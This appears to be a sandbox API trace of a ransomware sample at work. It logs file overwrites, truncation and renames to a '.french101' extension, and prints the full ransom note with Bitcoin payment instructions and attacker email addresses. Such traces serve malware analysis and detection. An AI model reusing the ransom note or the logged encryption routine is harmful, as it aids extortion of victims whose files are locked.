GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0264.555] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.555] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.556] CharLowerBuffW (in: lpsz="DHtmlHeader.html", cchLength=0x10 | out: lpsz="dhtmlheader.html") returned 0x10 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.556] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.556] CharLowerBuffW (in: lpsz=".html", cchLength=0x5 | out: lpsz=".html") returned 0x5 [0264.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".html", cchWideChar=5, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".html", lpUsedDefaultChar=0x0) returned 5 [0264.556] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\я" (normalized: "c:\\588bce7c90097ed212\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.616] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19eb24, lpOverlapped=0x0 | out: lpBuffer=0x3f31c38*, lpNumberOfBytesWritten=0x19eb24*=0x1, lpOverlapped=0x0) returned 1 [0264.617] CloseHandle (hObject=0x398) returned 1 [0264.618] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\я" (normalized: "c:\\588bce7c90097ed212\\я")) returned 1 [0264.619] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0264.619] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0264.619] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0264.619] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0264.619] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", dwFileAttributes=0x20) returned 1 [0264.620] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.622] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.622] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x3ef6 [0264.622] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.623] SetFilePointer (in: hFile=0x398, lDistanceToMove=16118, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x3ef6 [0264.623] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c48*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c48*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0264.636] CloseHandle (hObject=0x398) returned 1 [0264.639] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.639] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.639] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x3ef7 [0264.639] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.640] SetFilePointer (in: hFile=0x398, lDistanceToMove=16118, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x3ef6 [0264.640] SetEndOfFile (hFile=0x398) returned 1 [0264.641] CloseHandle (hObject=0x398) returned 1 [0264.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.642] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.642] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x3ef6 [0264.642] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.642] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.642] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.642] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x3ef6 [0264.642] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0264.642] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0264.643] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0264.643] GlobalLock (hMem=0x3f40014) returned 0x3ae6e20 [0264.643] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0264.643] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.643] GlobalHandle (pMem=0x3ae6e20) returned 0x3f40014 [0264.643] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.643] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0264.643] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0264.643] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.644] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0264.644] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0264.644] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x400 [0264.644] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x3ef6 [0264.644] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x400 [0264.644] SetFilePointer (in: hFile=0x398, lDistanceToMove=16118, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3ef6 [0264.644] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0264.661] WriteFile (in: hFile=0x398, lpBuffer=0x3efca08*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3efca08*, lpNumberOfBytesWritten=0x19e7d8*=0xb2, lpOverlapped=0x0) returned 1 [0264.661] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.661] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.662] CloseHandle (hObject=0x398) returned 1 [0264.663] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), lpNewFileName="C:\\588bce7c90097ed212\\Oye6Orm9Wa6BwMMDUOA8uplze8AQ6=kea5QA3YzSafs.french101" (normalized: "c:\\588bce7c90097ed212\\oye6orm9wa6bwmmduoa8uplze8aq6=kea5qa3yzsafs.french101")) returned 1 [0264.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Oye6Orm9Wa6BwMMDUOA8uplze8AQ6=kea5QA3YzSafs.french101" (normalized: "c:\\588bce7c90097ed212\\oye6orm9wa6bwmmduoa8uplze8aq6=kea5qa3yzsafs.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.664] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0264.664] CloseHandle (hObject=0x398) returned 1 [0264.664] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Oye6Orm9Wa6BwMMDUOA8uplze8AQ6=kea5QA3YzSafs.french101", dwFileAttributes=0x80) returned 1 [0264.664] CloseHandle (hObject=0x398) returned 0 [0264.665] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.665] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.665] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.665] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.665] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0264.665] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.665] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.665] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0264.665] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.665] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0264.665] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0xffffffff [0264.665] GetLastError () returned 0x2 [0264.665] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.666] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19ead8, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19ead8*=0x87f, lpOverlapped=0x0) returned 1 [0264.667] CloseHandle (hObject=0x398) returned 1 [0264.667] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.667] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0264.667] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0264.667] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0264.748] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0264.748] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.749] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0264.749] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0264.749] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0264.749] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.749] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0264.749] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.749] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.749] CharLowerBuffW (in: lpsz="DisplayIcon.ico", cchLength=0xf | out: lpsz="displayicon.ico") returned 0xf [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0264.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0264.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.750] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0264.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icow", lpUsedDefaultChar=0x0) returned 4 [0264.750] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da2d0 [0264.750] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0264.750] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0264.750] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0264.750] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", dwFileAttributes=0x20) returned 1 [0264.753] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0264.753] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.753] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x159d5 [0264.753] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.753] SetFilePointer (in: hFile=0x35c, lDistanceToMove=88533, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x159d5 [0264.753] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c48*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c48*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0264.773] CloseHandle (hObject=0x35c) returned 1 [0264.804] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0264.804] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.804] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x159d6 [0264.805] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.805] SetFilePointer (in: hFile=0x35c, lDistanceToMove=88533, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x159d5 